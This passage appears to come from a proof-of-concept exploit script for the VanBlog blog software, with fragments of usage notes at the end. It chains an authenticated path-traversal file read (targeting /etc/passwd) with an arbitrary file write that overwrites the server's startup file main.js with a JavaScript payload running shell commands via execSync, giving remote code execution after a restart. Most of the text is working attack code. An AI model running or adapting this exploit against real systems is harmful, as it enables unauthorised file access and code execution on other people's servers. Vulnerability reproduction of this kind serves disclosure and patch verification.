"const NL = String.fromCharCode(10);\n"
"const run = (cmd) => { try { return execSync(cmd + ' 2>&1').toString().trim(); }\n"
" catch (e) { return 'ERR(' + cmd + '): ' + e.message; } };\n"
"const out = [\n"
"%s\n"
"].join(NL);\n"
"const mark = '%s uid=' + (typeof process.getuid === 'function' ? process.getuid() : '?')\n"
" + ' ts=' + new Date().toISOString();\n"
"try { fs.writeFileSync('%s', mark + NL + out); } catch (e) {}\n"
"try { console.log('RCE-PROOF-EXECUTED ' + mark + NL + out); } catch (e) {}\n"
"// restore normal service (child process) so the marker can be fetched over HTTP\n"
"try { require('child_process').spawn('node', ['main.orig.js'], { cwd: '/app/server', stdio: 'inherit' }); } catch (e) {}\n"
"setInterval(function(){}, 3600000);\n"
) % (mk, body, PAYLOAD_MARK, out_path)
return js.encode()
# ---------------------------------------------------------------- stage A
def phase_a(cfg, token):
hdr("Stage A - path traversal -> arbitrary file read (%s)" % cfg["read_target"])
st, hd, raw = read_file(cfg, token, cfg["read_target"])
data = raw.decode("utf-8", "replace")
info("GET /api/admin/customPage/file?path=/&key=%s" % (TRAVERSAL + cfg["read_target"].lstrip("/")))
info("response: HTTP %s %s" % (st, data[:140].replace("\n", "\\n")))
if st != 200:
st2, _, raw2 = read_file_alt(cfg, token, cfg["read_target"])
info("alternative form path=../..&key=<basename> -> HTTP %s" % st2)
if st2 == 200:
st, raw, data = st2, raw2, raw2.decode("utf-8", "replace")
try:
content = (json.loads(data).get("data") or "")
except Exception:
content = data
checks = {
"not 403 (not blocked by normalizeCustomPageRel)": st != 403,
"HTTP 200": st == 200,
"content looks like %s" % cfg["read_target"]:
("root:x:0:0" in content) if cfg["read_target"].endswith("passwd") else bool(content),
}
for k, v in checks.items():
(ok if v else bad)(k)
if content:
lines = [l for l in content.split("\n") if l.strip()]
info("read %d lines, first 5:" % len(lines))
for l in lines[:5]:
print(" " + l, flush=True)
if cfg["also_write"]:
print()
info("extra: write probe (no restart, the instance stays usable)")
mk = marker()
target = "%s/write-%s.txt" % (cfg["proof_container"], mk)
(st_w, _, raw_w), rel = write_file(cfg, token, target, ("VANBLOG-ARBITRARY-WRITE %s\n" % mk).encode())
info("POST .../upload?name=%s -> HTTP %s" % (rel, st_w))
got = None
host = os.path.join(cfg["proof_host"], "write-%s.txt" % mk) if cfg["proof_host"] else ""
if host:
for _ in range(10):
if os.path.exists(host):
got = open(host, "rb").read()
break
time.sleep(0.5)
v1 = st_w in (200, 201)
(ok if v1 else bad)("extra: write returned 2xx")
checks["extra: write returned 2xx"] = v1
if host:
v2 = got is not None
(ok if v2 else bad)("extra: written file is visible on the host")
checks["extra: written file is visible on the host"] = v2
return all(checks.values())
# ---------------------------------------------------------------- stage B
def phase_b(cfg, token):
hdr("Stage B - overwrite the startup entry + restart -> RCE (executes id)")
if not cfg["restart_cmd"]:
bad("--restart-cmd is not set (only useful in the lab; a real target cannot be restarted remotely)")
return False
mk = marker()
if cfg["proof_mode"] == "web":
out_container = "%s/rce-%s.txt" % (cfg["web_proof_path"].rstrip("/"), mk)
out_url = cfg["base"] + "/static/rce-%s.txt" % mk
info("output mode: web (write %s, then read %s)" % (out_container, out_url))
else:
if not cfg["proof_host"]:
bad("host mode needs --proof-host (a host directory mounted at %s)" % cfg["proof_container"])
return False
out_container = "%s/%s.txt" % (cfg["proof_container"].rstrip("/"), mk)
out_url = os.path.join(cfg["proof_host"], "%s.txt" % mk)
info("output mode: host (write %s, read %s)" % (out_container, out_url))
if cfg["proof_mode"] != "web" and os.path.exists(out_url):
os.remove(out_url)
# First read the original entry with the "arbitrary read" primitive, then back it up as
# main.orig.js with the "arbitrary write" primitive, so the payload can bring the site
if cfg["target_file"].endswith("/main.js"):
bak = cfg["target_file"][:-len("main.js")] + "main.orig.js"
def _looks_orig(t):
return ("NestFactory" in t) or ("bootstrap" in t) or (len(t) > 2000)
def _read(path):
stx, _, rawx = read_file(cfg, token, path)
try:
return (json.loads(rawx.decode("utf-8", "replace")).get("data") or "")
except Exception:
return ""
cur = _read(cfg["target_file"])
if _looks_orig(cur):
(st_b, _, _), _rel = write_file(cfg, token, bak, cur.encode(), "main.orig.js")
info("backed up the original entry -> %s (%d bytes, HTTP %s)" % (bak, len(cur), st_b))
else:
existing = _read(bak)
if _looks_orig(existing):
info("current entry is not the original file (%d bytes), reusing the existing backup %s (%d bytes)" % (len(cur), bak, len(existing)))
else:
info("warning: neither the current entry nor the backup looks original; the site may not come back")
payload = rce_payload(mk, out_container, cfg["exec_cmds"])
(st, _, raw), rel = write_file(cfg, token, cfg["target_file"], payload, "main.js")
info("overwriting %s (%d bytes) -> HTTP %s" % (cfg["target_file"], len(payload), st))
if st not in (200, 201):
bad("failed to write the payload: %s" % raw.decode("utf-8", "replace")[:120])
return False
cmd = shlex.split(cfg["restart_cmd"], posix=False)
info("running (non-blocking): %s" % " ".join(cmd))
try:
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
except Exception as e:
bad("restart command failed: %r" % (e,))
return False
info("waiting for the payload (up to %d seconds)..." % cfg["wait"])
got = None
for _ in range(cfg["wait"] * 2):
if cfg["proof_mode"] == "web":
st2, _, raw2 = req(cfg, "GET", "/static/rce-%s.txt" % mk)
if st2 == 200 and cfg["mark"] in raw2.decode("utf-8", "replace"):
got = raw2.decode("utf-8", "replace")
break
else:
if os.path.exists(out_url):
got = open(out_url, "r", encoding="utf-8", errors="replace").read()
break
time.sleep(0.5)
checks = {
"payload written to the startup entry": True,
"execution result received after restart": got is not None,
"result comes from the payload": bool(got) and cfg["mark"] in got,
}
for k, v in checks.items():
(ok if v else bad)(k)
if got:
print()
info("command output from inside the container:")
for line in got.strip().split("\n"):
print(" " + line, flush=True)
if cfg["proof_mode"] == "web":
info("result file URL: %s" % out_url)
else:
info("no result; check the container log: docker logs <container> --tail 30")
return all(checks.values())
# ---------------------------------------------------------------- main
def main():
ap = argparse.ArgumentParser(description="VanBlog arbitrary file read / write / RCE verification")
ap.add_argument("--base", default=None)
ap.add_argument("--admin-url", default=None)
ap.add_argument("--token", default=None)
ap.add_argument("--user", default=None)
ap.add_argument("--pass", dest="password", default=None)
ap.add_argument("--read-target", dest="read_target", default=None, help="file read in stage A")
ap.add_argument("--also-write", dest="also_write", action="store_true", default=None,
help="also do a write probe in stage A (no restart)")
ap.add_argument("--phase-b", dest="phase_b", action="store_true", default=None,
help="* run stage B: overwrite the startup entry + restart + verify (destructive)")
ap.add_argument("--target-file", dest="target_file", default=None)
ap.add_argument("--proof-host", dest="proof_host", default=None)
ap.add_argument("--exec-cmd", dest="exec_cmds", action="append", default=None,
help="command to execute inside the container; may be given multiple times")
ap.add_argument("--proof-mode", dest="proof_mode", choices=["host", "web"], default=None,
help="host=write into a host bind mount (lab); web=write /app/static and read back over HTTP (remote)")
ap.add_argument("--proof-container", dest="proof_container", default=None)
ap.add_argument("--web-proof-path", dest="web_proof_path", default=None)
ap.add_argument("--restart-cmd", dest="restart_cmd", default=None)
ap.add_argument("--wait", type=int, default=None)
args = ap.parse_args()
cfg = {
"base": (args.base or BASE_URL or "").rstrip("/"),
"token": args.token or TOKEN or "",
"user": args.user or USER or "",
"pass": args.password or PASS or os.environ.get("VANBLOG_PASS", ""),
"read_target": args.read_target or READ_TARGET,
"also_write": (ALSO_WRITE if args.also_write is None else args.also_write),
"phase_b": (ENABLE_PHASE_B if args.phase_b is None else args.phase_b),
"target_file": args.target_file or TARGET_FILE,
"proof_host": (args.proof_host if args.proof_host is not None else PROOF_HOST).rstrip("\\/"),
"exec_cmds": args.exec_cmds or EXEC_CMDS,
"proof_mode": args.proof_mode or PROOF_MODE,
"proof_container": (args.proof_container or PROOF_CONTAINER).rstrip("/"),
"web_proof_path": (args.web_proof_path or WEB_PROOF_PATH).rstrip("/"),
"restart_cmd": (args.restart_cmd if args.restart_cmd is not None else RESTART_CMD),
"wait": args.wait if args.wait is not None else PROOF_WAIT,
"mark": PAYLOAD_MARK,
"timeout": TIMEOUT,
}
print("-" * 78, flush=True)
print("effective configuration", flush=True)
print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True)
print(" stage A read = %s" % cfg["read_target"], flush=True)
print(" write probe = %s" % cfg["also_write"], flush=True)
print(" stage B = %s %s" % (cfg["phase_b"], "<- DESTRUCTIVE" if cfg["phase_b"] else "(disabled by default)"), flush=True)
print(" TARGET_FILE = %s" % cfg["target_file"], flush=True)
print(" RESTART_CMD = %s" % (cfg["restart_cmd"] or "(not set)"), flush=True)
print(" PROOF_MODE = %s" % cfg["proof_mode"], flush=True)
print(" PROOF_HOST = %s" % (cfg["proof_host"] or "(not set)"), flush=True)
print(" WEB_PROOF = %s" % cfg["web_proof_path"], flush=True)
print("-" * 78, flush=True)
if not cfg["base"]:
bad("BASE_URL is not set. Pass --base, e.g. --base http://127.0.0.1:18095")
return 3
hdr("pre-checks")
st, _, j = jreq(cfg, "GET", "/api/public/meta")
ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None
info("version = %s" % ver)
if st != 200:
bad("target unreachable: %s" % cfg["base"])
return 3
if "master" in str(ver).lower():
info("note: master already fixed this (stage A should return 403). Use the v0.54.0 release image to reproduce.")
if cfg["token"]:
token = cfg["token"]
info("authentication: TOKEN")
elif cfg["user"] and cfg["pass"]:
pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"])
st2, _, j2 = jreq(cfg, "POST", "/api/admin/auth/login",
json_body={"username": cfg["user"], "password": pw})
token = ((j2.get("data") or {}).get("token")) if isinstance(j2, dict) else None
info("login %s -> HTTP %s token=%s" % (cfg["user"], st2, "yes" if token else "no"))
else:
bad("no credentials (--user/--pass or --token)")
return 3
if not token:
bad("authentication failed")
return 3
_, _, j3 = jreq(cfg, "GET", "/api/admin/meta", token)
u = ((j3.get("data") or {}).get("user")) or {}
info("session: name=%s id=%s type=%s" % (u.get("name"), u.get("id"), u.get("type")))
if u.get("type") != "admin":
bad("an administrator session is required (customPage endpoints are admin-only)")
return 3
a = phase_a(cfg, token)
print()
if not cfg["phase_b"]:
print("-" * 78, flush=True)
print("Conclusion: arbitrary file read reproduced (VULNERABLE)" if a else "Conclusion: not reproduced (probably patched)", flush=True)
print("Hint: add --phase-b to continue with 'write + restart -> RCE (executes id)' (destructive)", flush=True)
print("-" * 78, flush=True)
return 0 if a else 1
b = phase_b(cfg, token)
print()
print("-" * 78, flush=True)
if a and b:
print("Conclusion: arbitrary file read + arbitrary file write -> RCE reproduced (VULNERABLE, requires a restart)", flush=True)
elif a:
print("Conclusion: arbitrary file read reproduced; RCE stage not reproduced", flush=True)
else:
print("Conclusion: not reproduced", flush=True)
print("-" * 78, flush=True)
return 0 if (a and b) else 1
if __name__ == "__main__":
sys.exit(main())
/app/server/main.js. The script backs it up to main.orig.js and
makes the service self-restore, but it is still destructive — run it only against a disposable
instance./api/admin/auth/login and /api/admin/customPage/* (read and write); it never
deletes data.--base, --user, --pass (or set VANBLOG_PASS)
at run time.